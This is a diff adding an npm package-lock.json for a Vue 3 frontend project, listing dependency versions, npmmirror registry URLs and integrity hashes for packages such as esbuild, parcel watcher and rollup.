+ "element-plus": "^2.6.2", + "pinia": "^2.1.7", + "vue": "^3.4.21", + "vue-echarts": "^6.6.9", + "vue-router": "^4.3.0", + "vue3-draggable-resizable": "^1.6.5" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.0.4", + "@vue/tsconfig": "^0.5.1", + "sass": "^1.71.1", + "typescript": "~5.4.0", + "unplugin-auto-import": "^0.17.5", + "unplugin-vue-components": "^0.26.0", + "vite": "^5.1.6", + "vue-tsc": "^2.0.6" + } + }, + "node_modules/@antfu/utils": { + "version": "0.7.10", + "resolved": "https://registry.npmmirror.com/@antfu/utils/-/utils-0.7.10.tgz", + "integrity": "sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.2", + "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.29.2.tgz", + "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@ctrl/tinycolor": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/@ctrl/tinycolor/-/tinycolor-4.2.0.tgz", + "integrity": "sha512-kzyuwOAQnXJNLS9PSyrk0CWk35nWJW/zl/6KvnTBMFK65gm7U1/Z5BqjxeapjZCIhQcM/DsrEmcbRwDyXyXK4A==", + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/@element-plus/icons-vue": { + "version": "2.3.2", + "resolved": "https://registry.npmmirror.com/@element-plus/icons-vue/-/icons-vue-2.3.2.tgz", + "integrity": "sha512-OzIuTaIfC8QXEPmJvB4Y4kw34rSXdCJzxcD1kFStBvr8bK6X1zQAYDo0CNMjojnfTqRQCJ0I7prlErcoRiET2A==", + "license": "MIT", + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.7.5", + "resolved": "https://registry.npmmirror.com/@floating-ui/core/-/core-1.7.5.tgz", + "integrity": "sha512-1Ih4WTWyw0+lKyFMcBHGbb5U5FtuHJuujoyyr5zTaWS5EYMeT6Jb2AuDeftsCsEuchO+mM2ij5+q9crhydzLhQ==", + "license": "MIT", + "dependencies": { + "@floating-ui/utils": "^0.2.11" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.7.6", + "resolved": "https://registry.npmmirror.com/@floating-ui/dom/-/dom-1.7.6.tgz", + "integrity": "sha512-9gZSAI5XM36880PPMm//9dfiEngYoC6Am2izES1FF406YFsjvyBMmeJ2g4SAju3xWwtuynNRFL2s9hgxpLI5SQ==", + "license": "MIT", + "dependencies": { + "@floating-ui/core": "^1.7.5", + "@floating-ui/utils": "^0.2.11" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.11", + "resolved": "https://registry.npmmirror.com/@floating-ui/utils/-/utils-0.2.11.tgz", + "integrity": "sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg==", + "license": "MIT" + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@parcel/watcher": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher/-/watcher-2.5.6.tgz", + "integrity": "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "detect-libc": "^2.0.3", + "is-glob": "^4.0.3", + "node-addon-api": "^7.0.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "@parcel/watcher-android-arm64": "2.5.6", + "@parcel/watcher-darwin-arm64": "2.5.6", + "@parcel/watcher-darwin-x64": "2.5.6", + "@parcel/watcher-freebsd-x64": "2.5.6", + "@parcel/watcher-linux-arm-glibc": "2.5.6", + "@parcel/watcher-linux-arm-musl": "2.5.6", + "@parcel/watcher-linux-arm64-glibc": "2.5.6", + "@parcel/watcher-linux-arm64-musl": "2.5.6", + "@parcel/watcher-linux-x64-glibc": "2.5.6", + "@parcel/watcher-linux-x64-musl": "2.5.6", + "@parcel/watcher-win32-arm64": "2.5.6", + "@parcel/watcher-win32-ia32": "2.5.6", + "@parcel/watcher-win32-x64": "2.5.6" + } + }, + "node_modules/@parcel/watcher-android-arm64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.6.tgz", + "integrity": "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-darwin-arm64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.6.tgz", + "integrity": "sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-darwin-x64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.6.tgz", + "integrity": "sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-freebsd-x64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.6.tgz", + "integrity": "sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm-glibc": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.6.tgz", + "integrity": "sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm-musl": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.6.tgz", + "integrity": "sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm64-glibc": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.6.tgz", + "integrity": "sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-arm64-musl": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.6.tgz", + "integrity": "sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-x64-glibc": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.6.tgz", + "integrity": "sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-linux-x64-musl": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.6.tgz", + "integrity": "sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-win32-arm64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.6.tgz", + "integrity": "sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-win32-ia32": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.6.tgz", + "integrity": "sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@parcel/watcher-win32-x64": { + "version": "2.5.6", + "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.6.tgz", + "integrity": "sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@popperjs/core": { + "name": "@sxzz/popperjs-es", + "version": "2.11.8", + "resolved": "https://registry.npmmirror.com/@sxzz/popperjs-es/-/popperjs-es-2.11.8.tgz", + "integrity": "sha512-wOwESXvvED3S8xBmcPWHs2dUuzrE4XiZeFu7e1hROIJkm02a49N120pmOXxY33sBb6hArItm5W5tcg1cBtV+HQ==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/@rollup/pluginutils/-/pluginutils-5.3.0.tgz", + "integrity": "sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.59.0", + "resolved": 